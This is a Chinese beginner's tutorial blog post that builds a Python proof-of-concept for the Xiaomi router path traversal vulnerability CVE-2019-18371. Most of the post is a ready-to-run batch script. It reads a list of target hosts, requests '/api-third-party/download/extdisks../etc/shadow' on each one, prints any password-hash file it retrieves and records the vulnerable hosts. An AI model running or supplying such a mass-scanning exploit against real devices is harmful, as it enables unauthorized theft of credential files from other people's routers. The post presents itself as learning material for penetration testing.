用Python写漏洞验证脚本的代码

 更新时间:2022年02月09日 11:47:56   作者:再也没有留恋的斜阳  
这篇文章主要介绍了用Python写漏洞验证脚本,本文给大家分享完整实例代码,代码简单易懂,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下

小白尝试写任意文件读取poc

我是一个小白,完全不懂Python,但是Python在渗透中往往是一个重要的角色。
有一个CSDN百万大佬写了这样一句话,不会编程的渗透都是耍流氓。
我虽然菜但是也想尝试学习写一下Python漏洞的poc和exp。

我是在网上找到的学习方法,随便记录一下。尝试写一个批量验证漏洞的poc
发现小米路由器有一个任意文件读取漏洞,学着写了看看

小米路由器远程任意文件读取漏洞
小米路由器远程任意文件读取漏洞(CVE-2019-18371)
小米路由器的Nginx的配置文件错误,导致目录穿越漏洞实现任意文件读取。
可通过访问http://domain.cn/xxx…/etc/passwd实现目录穿越访问上级目录及其子目录文件。
如访问http://192.168.1.1/api-third-party/download/extdisks…/etc/passwd 便可以读取到passwd文件。

写一个批量验证漏洞的poc
第一步实现域名和payload拼接
已知payload=/api-third-party/download/extdisks…/etc/passwd

域名和payload拼接如下

import requests
import time
def poc_check(poc):
    for url in open('xiaomi.txt'):
        url = url.replace('\n','')
        poc_url=url+poc
        print(poc_url) # 把域名和payload拼接成一个完整的域名,然后去请求如果返回200就说明存在漏洞。
if __name__=='__main__':
    poc_xiaomi='/api-third-party/download/extdisks../etc/shadow'
    poc_check(poc_xiaomi)

图片如下

在这里插入图片描述

拼接好的域名尝试访问,如果返回200代表访问成功说明能读取到文件说明存在漏洞
返回其他的状态码就代表不存在漏洞
完整代码如下:

import requests
import time

def poc_check(poc):
    for url in open('xiaomi.txt'):
        url = url.replace('\n','')
        poc_url=url+poc
        # print(poc_url) # 把域名和payload拼接成一个完整的域名,然后去请求如果返回200就说明存在漏洞。
        try:
            print("再也没有留恋的斜阳")
            print("正在检测:")
            print(poc_url)
            poc_data=requests.get(poc_url)
            if poc_data.status_code==200:
                print(poc_data.content.decode('utf-8'))
                with open(r'xiaomivuln.txt','a+') as f:
                    f.write(poc_url+'\n')
                    f.close()
        except Exception as e:
            time.sleep(0.1)
            pass
if __name__=='__main__':
    poc_xiaomi='/api-third-party/download/extdisks../etc/shadow'
    # poc_xiaomi1='/api-third-party/download/extdisks../etc/passwd'
    poc_check(poc_xiaomi)
    # poc_check(poc_xiaomi1)

在这里插入图片描述

写完了,我太水了的是照着别人写的

到此这篇关于用Python写漏洞验证脚本的文章就介绍到这了,更多相关Python验证脚本内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • OpenCV半小时掌握基本操作之图像裁剪融合

    OpenCV半小时掌握基本操作之图像裁剪融合

    这篇文章主要介绍了OpenCV基本操作之图像裁剪融合,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2021-09-09
  • Django 限制访问频率的思路详解

    Django 限制访问频率的思路详解

    这篇文章主要介绍了Django 限制访问频率的思路详解,本文给大家介绍的非常详细,具有一定的参考借鉴价值,需要的朋友可以参考下
    2019-12-12
  • 解决python3.6 右键没有 Edit with IDLE的问题

    解决python3.6 右键没有 Edit with IDLE的问题

    这篇文章主要介绍了解决python3.6 右键没有 Edit with IDLE的问题,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2021-03-03
  • Python的常用基础模块之sys模块详解

    Python的常用基础模块之sys模块详解

    这篇文章主要介绍了Python的常用基础模块之sys模块详解,sys 模块提供访问 Python 解释器使用或维护的属性,以及与 Python 解释器进行交互的方法,需要的朋友可以参考下
    2023-08-08
  • python实现加密的方式总结

    python实现加密的方式总结

    这篇文章主要介绍了python实现加密的方式总结,文中给大家提到了python中加密的注意点,通过实例代码给大家介绍的非常详细,具有一定的参考借鉴价值,需要的朋友可以参考下
    2020-01-01
  • 基于Python实现贪吃蛇小游戏(附源码)

    基于Python实现贪吃蛇小游戏(附源码)

    本次我们将编写一个贪吃蛇的游戏。通过键盘上、下、左、右控制小蛇上、下、左、右移动,吃到食物后长度加1;蛇头碰到自身或窗口边缘,游戏失败,需要的可以参考一下
    2022-11-11
  • Python Opencv任意形状目标检测并绘制框图

    Python Opencv任意形状目标检测并绘制框图

    这篇文章主要为大家详细介绍了Python Opencv任意形状目标检测,并绘制框图,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2019-07-07
  • TensorFlow tf.nn.max_pool实现池化操作方式

    TensorFlow tf.nn.max_pool实现池化操作方式

    今天小编就为大家分享一篇TensorFlow tf.nn.max_pool实现池化操作方式,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2020-01-01
  • Django 后台获取文件列表 InMemoryUploadedFile的例子

    Django 后台获取文件列表 InMemoryUploadedFile的例子

    今天小编就为大家分享一篇Django 后台获取文件列表 InMemoryUploadedFile的例子,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2019-08-08
  • Python使用sqlalchemy实现连接数据库的帮助类

    Python使用sqlalchemy实现连接数据库的帮助类

    这篇文章主要为大家详细介绍了Python如何使用sqlalchemy实现连接数据库的帮助类,文中的示例代码讲解详细,具有一定的借鉴价值,需要的可以参考下
    2024-02-02

最新评论